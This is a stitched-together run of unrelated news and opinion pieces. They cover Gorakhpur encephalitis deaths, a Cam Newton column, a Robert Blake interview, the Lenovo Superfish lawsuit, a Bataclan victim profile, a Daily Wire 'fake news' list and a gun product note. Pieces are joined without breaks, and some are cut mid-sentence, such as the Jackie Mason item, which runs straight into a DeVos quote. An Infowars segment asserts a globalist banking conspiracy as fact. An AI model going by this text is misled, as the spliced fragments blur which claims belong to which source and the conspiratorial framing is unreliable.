These deaths occurring through four decades should have been enough to compel the government to introduce a holistic scheme to eradicate the disease. But these deaths seem to have been treated as common facts which surface every monsoon.
A source in the BRD Medical College said, “At present, there are 344 children admitted in the hospital. The admitted children are suffering from severe pneumonia and severe infections. During the months of July, August and September, we see a trend of similar number of children infected with the same disease being admitted in the hospital.”
Rajesh Mani, Director of Manav Sewa Sansthan, Gorakhpur, told Firstpost that the efforts to fight the disease has always been curative.
“Facilities of treatment were increased, but hardly any effort has been made to prevent it. As a result, the number of people getting infected rose, creating more and more pressure on the existing medical facility,” he said.
He further added that past experiences have proved that only curative measures are not enough to fight the menace — a separate effort including preventive and promotive measures are also equally needed.
“The earlier state government introduced 100 encephalitis treatmernt centres in Gorakhpur and Basti areas. But these centres never became effective because they failed to earn the trust of the people,” he said. He added that in most cases, the doctors were never present in the centres. In some cases, doctors would rather refer the patients to hospitals than treating themselves, even if they were present.
“Many children receive treatment in dying condition. This is the reason of high fatality rates. Encephalitis needs immediate treatment,” he said. Normally, Acute Encephalitis is seen as a vector-borne disease that spreads through mosquito bites.
But Dr RN Singh, a health activist in Gorakhpur, told Firstpost that contaminated water is now the main reason behind the spread of the endemic in Gorakhpur.
“Earlier, we saw Japanese Encephalitis being spread by mosquito bite. But that has been prevented to a great extent by vaccination. At present, at the most, 9 percent of the encephalitis patients are afflicted with JE virus,” he said.
In the years 2005 and 2010, massive vaccination drive against JE was taken was initiated in Gorakhpur, covering around 65 lakh and 75 lakh people. In 2013, the two-dose vaccine strategy was introduced, with a suggestion that the first dose (JE-1) be given between the ages of nine and 12 months, along with measles-containing vaccine (MCV-1) while the second one (JE-2) should be administered between the ages of 16 and 24 months, along with diphtheria/oral polio vaccine booster and MCV-2, reported The Print.
The numbers of people affected by encephalitis increases during monsoon as Gorakhpur is also a flood-affected area. But the Uttar Pradesh government is yet to formulate a comprehensive strategy to fight the menace.
Singh said that to win this battle, special attention is required for water-borne diseases, which was never present among the policy makers. “In India, we do not have a special programme for water-borne diseases. The program to fight vector-borne disease is also entrusted with the additional responsibility of fighting water-borne diseases,” he said.
Encephalitis is the only communicable disease which has a fatality rate as high as 30 percent. Nineteen states in India are affected by this deadly disease.
Let alone other states of India, Gorakhpur, which is one of the worst-affected areas in India, did not see a separate program for water borne disease in the last 40 years. Rather, the disease was taken as only as a seasonal affair, said Rajesh Mani.
He added that the primary health centres and community health centre are needed to be equipped to an extent that the disease can be diagnosed and treated in its early stage, in the absence of which people travel long distance to BRD Medical College or other medical facilities, wasting the crucial period of treatment in travelling long distances.
According to an IndiaSpend study in Uttar Pradesh, the number of public health centres (PHCs), the frontline of the government’s healthcare system, decreased 8 percent over 15 years to 2015, a period when the state’s population increased by more than 25 percent.
A source in the hospital said, “The conditions of many of the children brought to the hospital are so severe that even the highest order of health facility is not able to help them survive.”
BRD Medical College caters to the medical needs of more than four districts in a radius of 300 kilometres.
As this Hindustan Times article suggests,“If the symptoms are not treated within hours of the first few appearing, 30 percent of those affected die.”
Experts say that high malnutrition could also be a triggering factor of deaths of children suffering from encephalitis and this issue should also be looked into while chalking out a comprehensive plan to fight the disease.
“As per National Family Health Service data, Gorakhpur, almost 1 in 2 children under five is stunted and that it is one of the districts in the state with high levels of wasting, so there is a high chance that the children were also malnourished. It’s important that whenever there are child deaths, the role of under nutrition be ascertained as part of the investigation – it is an underlying cause of close to 45% of child deaths globally,” says Purnima Menon, a nutrition expert with International Food Policy Research Institute.
There is no doubt about the fact that the present dispensation in Uttar Pradesh cannot be blamed for the errors of omission committed by earlier governments. But the present deaths should be seen as an imperative to formulate a holistic policy to fight the menace of encephalitis.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Only 18 seconds into Sunday night's game, the word maturing descended from the NBC booth. Al Michaels uttered it as Cam Newton prepared to take his first snap. Somewhere, a drinking game halted immediately. Michaels had set a pace that threatened liver function.
When the Carolina Panthers appeared on the playoff radar last month, the redemption red carpet rolled out for Newton, in spite of the murkiness of said redemption and the plain truth that he was not the primary reason for the team's advance into contention.
Blame the QB-centric media and widespread suspicions about Newton when he became the top draft pick of 2011. A staggering rookie season undid the theory that Newton lacked the tools of a pro, but confirmation bias being what it is, his critics mined soft data from his first two seasons to underscore their original point.
He sulked. He pouted. He showed frustration with his teammates. He refused to open his eyes during a press conference. At age 23, he conducted himself like Tom Brady on a bad day at age 36. He punted on leadership.
His top receiver, Steve Smith, called him out on the self-pity last year, and rightly so. Newton's attitude needed a massage. It may still need one, for all we know. On a 9-4 team, he does not sulk the way he did a year ago, when the Panthers went 7-9.
Any connection between Newton's lack of sulking and the flipped record amounts to classic chicken-egg theory. There isn't even compelling evidence that the visible attitude shift improved him as a quarterback. The separation between his immature and mature models represents a natural improvement for any player over three years more than it suggests a diva downgrade. In the realm of advanced stats, his Rate+ makes the case with almost comical precision. Rate+ measures each quarterback's passing stats against the league average, and it shows that Newton went from 100 (or the league average) as a rookie to 101 as a second-year player and 102 now.
The widely held notion that he endured a sophomore slump last year is not borne out very heartily by the statistics. He had a better passer rating in 2012 than 2011 (86.2 vs. 84.5), averaged more yards per attempt in his second year (8.0 vs. 7.8) and threw five fewer interceptions (12 vs. 17). He fumbled more in 2012 (10 times vs. 5) and scored fewer rushing touchdowns (8, down from 14), but he ran for slightly more yardage as a slumper than as a rookie (741 vs. 706). In this, the year of ostensible redemption, he is on a pace to throw and run for fewer yards than he did in the two previous ones.
Finally, the estimable Football Outsiders calculated a better passing DVOA (defense-adjusted value over average) for him last year than as a rookie -- 2.0 percent vs. 0.8 percent.
Dramatic regression in 2012 came strictly in eyeballing measurements, which have value but are prone to overstate the significance of body language, which often quotes an athlete out of context. If the quarterback has a Super Bowl ring, petulant gestures speak in the tongue of one who hates to lose. If he lacks the ring and if he proclaimed himself an aspiring entertainer and icon before draft day, his every move and frown translates as a declaration of bratty narcissism. Chances are, both bodies say a little of each.
Newton declined primarily according to expectations, by failing to improve substantially in his second year and by playing on a team that did not progress despite having this supernova of a No. 1 pick. The biggest difference in Newton as a team player now, versus him as a surprising rookie and as the insufferable soph, is not his attitude. It's the people around him. More precisely, it's his defense. Carolina was ranked 28th in the NFL in total defense in Newton's 6-10 rookie season, 10th last year and second for 2013 even after Sunday's 31-13 fileting by the Saints. The rookie Cam could lead the offense to three touchdowns and two field goals against the Lions' terrifying defense in Detroit, plus have a 102-yard kickoff return as a cushion, and still lose 49-35. The mature Cam could produce just 10 points and come away a winner against the 49ers.
The 2013 model could also benefit from a newly adventurous head coach, because the defense promised to bankroll every Ron Rivera gamble. Cris Collinsworth noted as much on Sunday night, in a broadcast that turned out to be remarkably spare on mindless clichés about Newton's development. Michaels' quick-draw maturing misled. A drinking game with that cue wouldn't have yielded so much as a buzz.
Drew Brees, in full maestro form, capped the Newton talk, allowing time only for an obligatory montage of Cam brooding, vintage 2012, followed by an illustrated report on his new bond with Lakers icon Jerry West, who has apparently mentored the quarterback on the matter of trusting teammates. The NBC crew had to bow to that prevailing narrative, especially since it came with art, good quotes (Cam couldn't believe he knew the NBA logo) and validation from the subject himself, who pledged visible attitude adjustment this year.
Collinsworth, to his credit, analyzed the body language that matters most for a quarterback and found some room for growth. Newton scrambled back from a rush and into a sack when he should have stepped up into the pocket, and Collinsworth very fairly noted the mistake. The commentary became even richer after NBC showed footage of Brees compulsively going through the motions of his read progressions while taking warm-up throws. Collinsworth then observed a smart, disciplined read by Newton late in the game and called attention to this bit of football savvy.
"Just in his third year, he's getting better and better," Collinsworth said.
He didn't need to use the "m" word. He wasn't talking about Newton outgrowing obnoxiousness or learning to project the right image. He was just talking about a football player growing in his job. We can all drink to that, can't we?Story highlights Twitter explodes with reaction from the combative interview
Robert Blake quotes verbatim, at times, from his writings during profanity-laced explanations
Blake says he's never allowed the questions Morgan asked
The actor calls Morgan "Charlie Potatoes," taking a line from a 1958 movie
Actor Robert Blake accused CNN's Piers Morgan of calling him a liar in a combative, profanity-laced interview that was more remarkable for its tone than revelations surrounding his acquittal in the 2001 murder of his wife.
Blake, 78, said he agreed to appear on the show Wednesday to promote his self-published memoir " Tales Of A Rascal, " telling Morgan that the book was not about his late wife, Bonnie Lee Bakley, or their relationship.
"I made a deal to come here and talk about anybody from the book," Blake said after Morgan asked about his feelings about the case.
"I excused you from that deal because I thought you were going to be cool. Now you're trying to (bleep) into the ground."
Blake was acquitted in 2005 in connection with the murder of Bakley, though that same year he was found liable for her death in a wrongful death lawsuit and ordered to pay $30 million. Blake subsequently filed for bankruptcy.
When Morgan asked about the case, including the civil suit, Blake demanded: "Do you know why I was arrested?"
"Tell me," Morgan said.
"Well, before you start asking questions, you should do some goddamn research," Blake said.
The actor has long maintained his innocence, raising questions about Bakley's past and her relationships with other men as a possible motive.
JUST WATCHED Robert Blake: I didn't kill my wife Replay More Videos... MUST WATCH Robert Blake: I didn't kill my wife 02:31
JUST WATCHED Robert Blake: Cops 'ripped my guts out' Replay More Videos... MUST WATCH Robert Blake: Cops 'ripped my guts out' 01:10
JUST WATCHED Blake: "Nobody tells me I'm a liar" Replay More Videos... MUST WATCH Blake: "Nobody tells me I'm a liar" 01:21
Bakley, who also had a well publicized relationship with Marlon Brando's son Christian, was found shot in the head in North Hollywood in 2001. The couple had married six months earlier after a paternity test revealed her child belonged to Blake not Brando.
"Bonnie had people that she burned. How bad I don't know. Did she steal everything from them? We'll leave that alone. But nobody really knew where Bonnie was. She had 15 ID cards. She had 15 credit cards. She had different places where she lived and nobody could ever find her if they were looking for her," Blake told Morgan.
"But one day somebody opened the paper and saw that Bonnie just married Robert Blake and where does Robert Blake live. And what a couple of weeks later she was dead. I want you to chew on that for a bit."
Blake's use of profanity is nothing new. Excerpts posted online from his self-published book are filled with it, especially as he describes the case that was built against him by Los Angeles authorities -- and his subsequent imprisonment while waiting to stand trial.
Blake accused Morgan of insulting him by raising questions about the case.
"Nobody tells me I'm a liar," Blake said.
At one point during one of Blake's tirades, Morgan asked: "Are you sane?"
Later Blake said: "My skin is a little bit thin. I've never allowed anybody to ask me the questions you're asking."
But during a 2011 interview with Tavis Smiley, the actor touched on similar subjects and gave similar answers, including accusing the talk show host of "getting a little weird now" when he asked questions about the case's aftermath, according to a transcript of the interview posted online.
JUST WATCHED Blake gives his take on wife's murder Replay More Videos... MUST WATCH Blake gives his take on wife's murder 01:02
JUST WATCHED Morgan to Blake: Are you'sane'? Replay More Videos... MUST WATCH Morgan to Blake: Are you'sane'? 03:05
When Morgan raised questions about what he said he "presumed to be a very important moment" in Blake's life, the actor responded: "I didn't write about that life and I didn't write a book about Bonnie."
At times, Blake appeared to be drawing on his acting experience, quoting lines from movies or interviews he gave years earlier.
When Morgan asked where Blake was living, the actor appeared to draw on an answer he gave in 1993 to Entertainment Weekly: "I live in an apartment. I told you, I'm broke. I couldn't buy spats for a hummingbird."
At other times, Blake took profanity-infused lines directly from his book, according to excerpts published online, delivering them almost verbatim, including an explanation of how he lost the civil suit brought by Bakley's family.
"They didn't win it, I lost it. I went up there, suicidal, to lose that," he told Morgan.
He went on to call Morgan "Charlie Potatoes" or "Charlie" during the interview, taking a line from the 1958 movie "The Defiant Ones" that describes a man who is rich and popular.
"You're just like the cops. There's no place to get. Keep him in jail until he dies because everybody who's dead is guilty," he told Morgan, again using language from his book.
Twitter -- the closest thing to an instant barometer of public opinion -- exploded with reaction.
"To my friend Charlie Potatoes: Great TV! Better you than me," former talk show host Arsenio Hall tweeted
Morgan, himself, tweeted : "Incredible interview. I'd cast him in a movie with Charlie Sheen tomorrow."
Morgan also asked Blake about his wife's background.
"I think she was a con artist, yes," Blake said. "I think she came to Hollywood to con her way into show business."
Blake also said he "didn't know here well enough to know her."
"I love her - well, I love you as a human being. You're my brother in arms," he told Morgan during the interview. "We're all in this thing together. But we were not dramatically in love or things like that."
Blake is best known for his role as a tough-talking detective in the 1970s TV show "Baretta" and his Oscar-nominated performance as condemned killer in the 1967 movie "In Cold Blood." He began his career as a child actor, starring as a Mickey in the "Our Gang" movie shorts.The Office of U.S. Representative Jayapal is hosting office hours in the Montlake neighborhood on Wednesday, December 20, 2017 from 5-7 pm at the Queen City Yacht Club. The office hours are the result of hearing from a number of people in the neighborhood who have concerns with the ongoing SR 520 project. These office hours are a chance for residents in the neighborhood to share their thoughts with district staff. Your comments will help inform Rep. Jayapal’s understanding of how this project is impacting residents. The Montlake Community Club encourages all interested residents to attend. Click this link to RSVP for a speaking slot.
What Montlake neighborhood office hours Where Queen City Yacht Club (3rd floor meeting room. Guests may park in the Members Only Parking Lot. Enter from the parking lot door and take the stairs or elevator to the 3rd floor. Street parking is available near-by). When December 20, 2017 5-7 pm RSVP Please RSVP by signing up for a slot to speak with our staff using this Doodle Link. (Please Sign Up for a 15 minute time slot using with your first and last name)It’s official: ABC’s drama Revenge will be ending at the end of this season, with the May 10 Season 4 finale, titled “Two Graves,” serving as a series finale. The network is expected to begin airing promos announcing the the series’ closing episode.
Speculation had been growing that this would be the final chapter in the revenge drama, which clearly had been building toward an end in the second half of this season, most recently killing off one of its two leading ladies, star Madeleine Stowe. Further fueling rumors was a recent ABC promo, which asked viewers to “be there for the final four episodes.”
Related2015 ABC Pilots
ABC topper Paul Lee has been a big supporter of the show, calling it “a critical brand” for the network, so a proper sendoff was fully expected, providing closure for fans who have invested years in its mythology. ABC might have taken time before making the announcement as there is a new project in the vein of Revenge that ABC has in the hopper, pilot The Kingmakers, also about a twentysomething assuming a new identity in order to investigate and avenge the death of a loved one. There was talk about the two potentially being paired together. Early buzz on The Kingmakers has been so-so, so it is unclear whether it would be able to figuratively carry the Revenge legacy.
Revenge, a contemporary take on The Count Of Monte Cristo, was a breakout hit when it premiered in the fall 2011 and drew some awards attention for Stowe. As is the case with a twisty, soapy mystery, the series gradually lost steam as major plot points were resolved and main characters killed off, with its ratings pretty soft in the final stretch.
The series is going full circle, with Amanda Clarke (Emily VanCamp) getting framed for a murder she didn’t commit just like her father once was, triggering her quest for revenge. The producers now have two episodes to resolve that final plot twist before the curtain falls.Set in the Hamptons, Revenge was created by Mike Kelley, who departed after Season 2, with Sunil Nayar taking over as showrunner.Lenovo admitted to pre-loading the Superfish adware on some consumer PCs, and unhappy customers are now dragging the company to court on the matter.
A proposed class-action suit was filed late last week against Lenovo and Superfish, which charges both companies with “fraudulent” business practices and of making Lenovo PCs vulnerable to malware and malicious attacks by pre-loading the adware.
Plaintiff Jessica Bennett said her laptop was damaged as a result of Superfish, which was called “spyware” in court documents. She also accused Lenovo and Superfish of invading her privacy and making money by studying her Internet browsing habits.
The lawsuit was filed after Lenovo admitted to pre-loading Superfish on some consumer PCs. The laptops affected by Superfish include non-ThinkPad models such as G Series, U Series, Y Series, Z Series, S Series, Flex, Miix, Yoga and E Series.
Lenovo has since issued fixes to remove Superfish applications and certificates from PCs. Microsoft’s Windows Defender and McAfee’s security applications also remove Superfish since Friday.
Lenovo earlier admitted it “messed up” by preloading Superfish on computers. The software plugs product recommendations into search results, but can hijack connections and open major security holes, thus leaving computers vulnerable to malicious attacks.
The first complaints of Superfish on Lenovo’s laptops emerged in September last year, but it became a real security issue when a hacker Marc Rogers pointed it out in a blog post.
Bennett, a blogger, purchased a Yoga 2 laptop to conduct business and communicate with clients. She noticed “spam advertisements involving scantily clad women” appearing on her client’s website when writing a blog post for the customer. After seeing pop-ups on other websites, she assumed her computer had spyware or had been hacked, but then scoured the forums to notice similar behavior on other Lenovo laptops. She then rooted out the problem to be Superfish, which could intercept secure communication and leave computers vulnerable.
Superfish also used memory resources and took up Internet bandwidth, according to the court document.
Damages from Lenovo and Superfish are being sought as part of the lawsuit filed in the U.S. District Court for the Southern District of California.
A Lenovo spokesman declined comment on the lawsuit.Globalist enthusiasts and architects of the financial meltdown do NOT represent change
Steve Watson
Infowars.net
Thursday, Nov 6, 2008
All of the leading candidates for the position of Treasury Secretary under president elect Barack Obama directly represent the old guard of the corporate elite system that has used the American economy as it’s engine to drive their march toward a global empire for decades.
Under the banner of “change” whichever of these candidates is appointed to the Treasury will continue to rapidly expand the empowerment of the Federal Reserve monetary system and institute the very policies that have led us to the brink of financial ruin to move the economies of the world toward a centralized global banking system.
The Leading candidate for Obama’s Treasury Secretary is current Chairman of the Federal Reserve Bank of New York Tim Geithner.
In 2001, after leaving Bill Clinton’s Treasury, Geithner joined the Council on Foreign Relations as a Senior Fellow in the International Economics department. He then worked for the International Monetary Fund as the director of the Policy Development and Review Department until moving to the Fed in October 2003. In 2006 he became a member of the influential Washington-based financial advisory body, Group of Thirty, which was founded in 1978 at the initiative of the Rockefeller Foundation.
Back in June of this year after attending the annual Bilderberg power brokers conference in Virginia, Geithner penned an article in the Financial Times in which he called for a worldwide financial overhaul and the implementation of a globalized banking system.
Geithner stated that the US Federal Reserve should play a “central role” in the new regulatory framework, working closely with supervisors in the US and round the world.
“At present the Fed has broad responsibility for financial stability not matched by direct authority and the consequences of the actions we have taken in this crisis make it more important that we close that gap,” Geithner wrote.
How can Geithner represent real change when he is a long time servant of the very entities that created the conditions for and perpetuated financial meltdown for years?
Geithner represents an entrenched central banking system that has killed the free market, built up a power monopoly over the money and credit system, consistently followed an intrinsically detrimental path of ceaseless borrowing and presided over the fundamentally damaging process of printing of money out of thin air, leading to the devaluation of the US dollar which now has a global reputation on a par with if not worse than that of George W. Bush.
Geithner represents a critically bloated bastard entity of government and private wealth that has manipulated interest rates and falsely inflated bubbles that have fostered an economy of moral hazard and driven the world straight into a financial black hole.
In what way does this man offer any possibility of “change”?
He now advocates the implementation of measures of predatory globalism to solve the very crisis those policies have created. And he will have the tools to do it after the recent bailout bill passed granting the Treasury virtual dictatorial powers over economic policy.
Geithner is likely to get the nod as Treasury Secretary because he best fits the appearance of change, even though he does not represent any significant change.
Consider the following from a recent New York Times article:
[…] one senior adviser said it would be important to send a message of change at a time of economic crisis. “You can expect a fresh face instead of a recycled face” at the Treasury, the adviser said. He said that would include the boyish-looking Mr. Geithner, 47, who worked at the Treasury under Mr. Clinton and his Republican predecessors and has generally gotten high marks for his role in shaping the government response to the current crisis.
These traits symbolize Obama’s presidency to the tee, he appears to offer change on the surface, but underneath he offers as little real change from the entrenched elitist system in Washington as a McCain presidency would have or if George W. Bush had simply announced he was going to serve a third term.
(Article continues below)
A d v e r t i s e m e n t
The other candidates for Treasury secretary are likely to pursue exactly the same path as Geithner. Those candidates are:
Paul A. Volcker
The former Federal Reserve chief was a key figure in the decision to suspend gold convertibility in 1971, which resulted in the collapse of the Bretton Woods system. Volcker’s policies and continued high interest rates contributed to the significant recession the US economy experienced in the early 1980s, which included the highest unemployment levels since the Great Depression.
After leaving the Fed he became chairman of J. Rothschild, Wolfensohn & Co, the prominent New York investment banking firm run by former president of the World Bank and prominent Bilderberger James D. Wolfensohn.
Volcker was also a founding member of the Trilateral Commission along with David Rockefeller, whom he has also worked with at Chase Bank and through membership of the Trust Committee of Rockefeller Group, Inc.
As of October 2006, he is the current Chairman of the Board of Trustees of the Rockerfeller-founded Group of Thirty.
Robert E. Rubin
Former Treasury Secretary during the first and second Clinton administrations.
Rubin is as much to blame for the creation of the current financial crisis as Alan Greenspan is, as both men ignored the advice of the Commodity Futures Trading Commission (CFTC) and strongly opposed the regulation of derivatives. Over-exposure to credit derivatives of mortgage-backed securities – or credit default swaps (CDS) was a key reason for the failure of Bear Stearns, Lehman Brothers, Merrill Lynch, American International Group, and Washington Mutual in 2008.
On November 4, 2007, Rubin became the Chairman of Citigroup and is currently co-chairman of the board of directors of the Council on Foreign Relations. Rubin is also a member of the Group of Thirty.
Lawrence H. Summers
Former chief Economist for the World Bank (1991–1993) and Secretary of the Treasury for the last year and a half of the Clinton administration. Also served as the 27th President of Harvard University from 2001 to 2006.
Summers has been persistently criticized as an ardent proponent of globalization.
He has been involved in scandal several times, but perhaps the most notable was in December 1991 while at the World Bank. Summers signed a memo, which was subsequently leaked to the press, stating that developed countries ought to export more pollution to developing countries because these countries would incur the lowest cost in terms of lost wages of people made ill or killed. An aside to the memo stated that “the economic logic behind dumping a load of toxic waste in the lowest wage country is impeccable and we should face up to that”.
Summers is also a member of the Group of Thirty, the Council on Foreign Relations and the Trilateral Commission.
So there you have it, choose your poison. Although they all have different labels they originate from the same bottle. These people do not represent change, they represent a continuation of the same elitist system that has no allegiance to the US and has been driving the American economy into the ground as part of its maniacal agenda for decades.
This article was posted: Thursday, November 6, 2008 at 11:06 am
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When they first connected almost a decade ago, Luis Felipe Zschoche, 33, and Cécile Misse, 32, lived on separate continents. But through their shared love of music, an online friendship blossomed into a romance and a life together at the heart of Paris’s vibrant music scene.
Mr. Zschoche was a self-taught guitarist and songwriter who had formed his first band as a teenager in Chile, playing occasional small gigs near his home in Santiago and recording albums whose sounds were heavily influenced by Nirvana and other American grunge bands of the early 1990s, family members said. Yet while his music was his passion, Mr. Zschoche never harbored dreams of becoming a rock star.
“He had this incredible natural talent, but he was also a realist,” said Mr. Zschoche’s sister, Rosalia. When he went to college, Mr. Zschoche chose to major in business rather than music. “He knew that it would be hard to make a proper living as a musician,” she said.
Mr. Zschoche found Ms. Misse, a native of Provence who worked in theater production, in an online forum for rock music fans that she had created. The two struck up a correspondence in Spanish and, over the course of a year, grew close enough that Mr. Zschoche decided, in 2006, to fly to Paris to meet Ms. Misse in person.
He came for a three-month visit, but never returned permanently to Chile. Over the next eight years, Mr. Zschoche mastered French and, through Ms. Misse, quickly plugged into a network of fellow artists and musicians. He found a steady job at a freight forwarding company and devoted nights and weekends to his music.
Three years ago, Mr. Zschoche founded Captain Americano, a high-energy hard-rock band, of which he was the lead singer and chief songwriter. The band’s members, from Mr. Zschoche’s circle of Parisian friends, described him as a natural leader and a patient collaborator.
“Luis was someone very strong,” said Erwan Sarcelet, guitarist for Captain Americano. “He had an aura and generous spirit that drew people to him. In music, he knew exactly where he wanted to go and he worked with us to guide us there.”
The band had played its most recent concert, in Paris, on Oct. 24, and was finishing post-production of an album that they had planned to release early next year. Then three gunmen burst into the Bataclan music hall on Nov. 13, where Mr. Zschoche and Ms. Misse were in the audience, and both died at the scene.
Mr. Zschoche’s brother Oscar said the couple had recently talked of leaving Paris for Nantes, near the west coast of France. They were looking for a quieter environment to raise a family, he said.
Lately, Oscar Zschoche, who recently married, said his brother had begun to tease him about his own family plans, sending him frequent text messages to ask, “When are you going to make me an uncle?”
“I always answered back with the same question,” he said.Michael Jackson Prosecutor Tom Sneddon Dead
Tom Sneddon Dead -- Michael Jackson Prosecutor Dies at 73
Breaking News
-- the prosecutor who tried twice to nailon child molestation charges -- has died.Sneddon -- who served as D.A. of Santa Barbara County for more than a quarter century -- famously lost the case against Jackson in 2005, in which Jackson was accused of plying his alleged victim with wine, sexually assaulting him at Neverland and holding his family hostage.But Sneddon went after Jackson more than a decade before, trying to prosecute the singer for allegedly molesting a boy at Neverland. Jackson made the boy's civil case go away at a cost of $20 million and the boy and his family refused to cooperate with Sneddon, so the case went away.Sneddon, who had 9 kids, fiercely believed Jackson was a child molester. For Jackson's part, in one of his tracks you hear him say, "Tom Sneddon is a cold man."He died of cancer.Maxi Sopo said he was born to party in his Facebook status updates A man on the run, wanted for fraud by US authorities, inadvertently revealed where he was hiding through a series of extravagant Facebook updates. Cameroon-born Maxi Sopo's messages made it clear he was living the high life in the Mexican resort of Cancun. He also added a former US justice department official to his friend list who ended up helping to track him down. US officials say Mr Sopo and an associate falsely obtained more than $200,000 in credit from banks. In recent status updates Mr Sopo said he was "loving it", described himself as "living in paradise" and said he was "just here to have fun". FROM BBC WORLD SERVICE Please turn on JavaScript. Media requires JavaScript to play.
More from BBC World Service "He was making posts about how beautiful life is and how he was having a good time with his buddies," said Assistant US Attorney Michael Scoville. "He was definitely not living the way we wanted him to be living, given the charges he was facing," he added. The 26-year-old, who is currently in custody in Mexico City, initially sold roses in Seattle nightclubs after arriving in the US in 2003. He then allegedly moved on to bank fraud. The former justice department official whom Mr Sopo befriended on the social networking site said he had only met the fugitive a few times in the city's nightclubs and had no idea that he was on the run. He was able to discover exactly where Mr Sopo was living and the information was passed to the Mexican authorities who arrested him last month.
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StumbleUpon What are these? E-mail this to a friend Printable versionCode Bootcamp Receives $11,000 Grant For Statewide Programs Copyright by KELO - All rights reserved south-dakota-code-bootcamp [ + - ] Video
sioux falls - Students across south dakota who want to learn computer coding got a big boost this week.AT&T donated a check to Code Bootcamp and the Sioux Falls Diversity Council on Wednesday. The $11,000 grant will help bring the high-tech event to areas of the state that would be left out."It helps them build computer programs. It helps them understand coding application at the most basic levels," Stephanie Boman Altamirano said. "It's a gaming application so its a fun interactive gaming face that they learn computer coding through."The camps are geared to children between the ages of 10 to 16. For more information about Code Bootcamp, visit their websiteRenowned Jewish comedian Jackie Mason “continues to be one of this election cycle’s more amusing political pundits,” said the New York Post’s “Page Six” on Sunday.
Describing Mason taking figurative aim and shooting at former New York City Mayor |
would imagine,” she said, “that there’s probably a gun in the school to protect from potential grizzlies.” This was an utterly noncontroversial stance to take. DeVos was simply pointing out that different states and localities have different needs, and attempting to mandate a nationwide one-size-fits-all policy for every American school is imprudent. How did the media run with it? By lying through their teeth. “Betsy DeVos Says Guns Should Be Allowed in Schools. They Might Be Needed to Shoot Grizzlies” (Slate). “Betsy DeVos: Schools May Need Guns to Fight Off Bears” (The Daily Beast). “Citing grizzlies, education nominee says states should determine school gun policies” (CNN)[.]
72. Journalist Claims Trump's Hand-Size Is Photoshopped
The Federalist:
On January 27, Observer writer Dana Schwartz tweeted out a screenshot of Trump that, in her eyes, proved President Trump had “photoshopped his hands bigger” for a White House photograph. Her tweet immediately went viral, being shared upwards of 25,000 times. A similar tweet by Disney animator Joaquin Baldwin was shared nearly 9,000 times as well. The conspiracy theory was eventually debunked, but not before it had been shared thousands upon thousands of times.
73. Media Falsely Reports First Lady Melania Trump Will Not Move to White House
Lies.
Lies, and more lies … and even more lies.
The truth is that, as promised, the First Lady will move into the White House at the end of her son Barron's school year.
74. NBC's "Today Show" Deceptively Edits Giuliani Comments on Trump's Immigration Pause
NewsBusters busts NBC's serial liar (see above) Pete Alexander:
Despite all of the media hand-wringing over fake news lately, on Monday, NBC’s Today engaged precisely in that kind of shoddy journalism as the morning show deceptively edited a soundbite from Rudy Giuliani about President Trump’s immigration order. … A brief clip ran of the former New York City mayor telling Fox News host Jeanne Pirro on Saturday: “When he first announced it, he said Muslim ban. He called me up, he said put a commission together, show me the right way to do it legally.” However, a longer clip of Giuliani aired just minutes earlier on MSNBC’s Morning Joe clearly showed there was no contradiction, as he repeatedly stated that the policy he helped develop was “not based on religion[.]”
Reminder: This is the very same "Today Show" that was caught editing a 911 call to make George Zimmerman look like a racist.
75. New York Times Caught Lying About Number Detained By Trump's Refugee Pause
Read the full thread. Utterly shameless lying.
76. Atlantic Caught Lying About Trump's Refugee Pause
Extraordinary, bare-faced lie.
--
The Daily Wire hopes you enjoyed this week's THIS WEEK IN FAKE NEWS!
Tune in next week for another episode of THIS WEEK IN FAKE NEWS!
Follow John Nolte on Twitter @NolteNC. Follow his Facebook Page here.Palestinian security forces take part in a training session ahead of an arrest operation against members of the Islamist movement Hamas members in the city of Nablus on July 6, 2015, in the Israeli occupied West Bank (AFP Photo/Jaafar Ashtiyeh)
Gaza City (Palestinian Territories) (AFP) - Hamas alleged Tuesday that more than 200 of its members had been arrested by the Palestinian Authority recently, with most of them tortured, threatening to widen a rift between Palestinian factions.
This was the latest sign of failed reconciliation efforts between Hamas, the Islamist movement that rules the Gaza Strip, and the Palestinian Authority, which runs the West Bank, despite a unity deal signed last year.
"Hamas members in the occupied West Bank are being submitted to their worst campaign of arrests -- their biggest and longest," Hamas official Abdurahman Shadid told journalists.
He said more than 200 had been arrested since July 2 in the Israeli occupied West Bank and "most have been severely tortured."
The Palestinian Authority had not immediately responded to the claims, though one of its officials said last week about 100 Hamas members had been arrested.
On Friday, a Palestinian Authority official told AFP that about 100 Hamas members had been arrested over alleged plans to attack the PA.
Hamas spokesman Sami Abu Zuhri called the allegations "cover for political arrests."
Palestinian president Mahmoud Abbas was "entirely responsible for these maniacal arrests and the Hamas eradication project to the benefit of the occupier (Israel)," said Shadid.
He spoke of "limits to the people's patience."
A Palestinian unity agreement signed in April 2014 sought to end years of bad blood between Fatah, Abbas's party, and Hamas.
A unity government of technocrats was formed as a result, approved by both sides. But it has been ineffective and essentially barred from operating in Gaza, leaving Hamas in charge of the impoverished coastal enclave, which is under a strict Israeli blockade.
In recent days, and following conflicting reports of the cabinet's resignation, Abbas has sought to reconstitute the unity government, which has further heightened tensions.
The Palestinian Authority also cooperates with Israel on security matters, and Hamas accused it of acting on the Jewish state's behalf.
Israeli authorities have recently been under pressure to act after a series of gun and knife attacks against Israelis, in some cases near settlements, but there was no indication the arrests were linked.
The attacks are believed to have been carried out by lone-wolf assailants.Ohio-based Inland Manufacturing team has blended the classic.30-caliber M1 Carbine action in a pistol configuration complete with a Tail Hook arm brace.
The new M30-P pistol comes standard with a Sage EBR aluminum chassis designed specifically for the platform and, as it is a handgun, the removable Gear Head Mod II Tail Hook arm brace allows for one-handed shooting.
Complete with a 12-inch long threaded barrel, the M30-P goes just 20.25-inches overall without the brace, with the Tail Hook adding about nine inches to that figure when attached. Weight is between 4.5 and 5.5 pounds depending on the same factors. The pistol uses standard M1 style sights with an adjustable ghost ring aperture rear.
While M1 Carbine-based pistols are not new — the old Iver Johnson Enforcer was popular in the days of Disco — one complete with a factory arm brace is, and the Sage EBR chassis, similar to that used to revamp the M14 in recent years is a nice touch.
The M30-P ships with one 10-round magazine for state compliance purposes but accepts standard M1 mags and MSRP is $1,699.PoliZette Impotent Senate Dems Walk Out on Confirmation Votes Powerless to kill Trump nominations, Democrats force delays with unprecedented obstruction
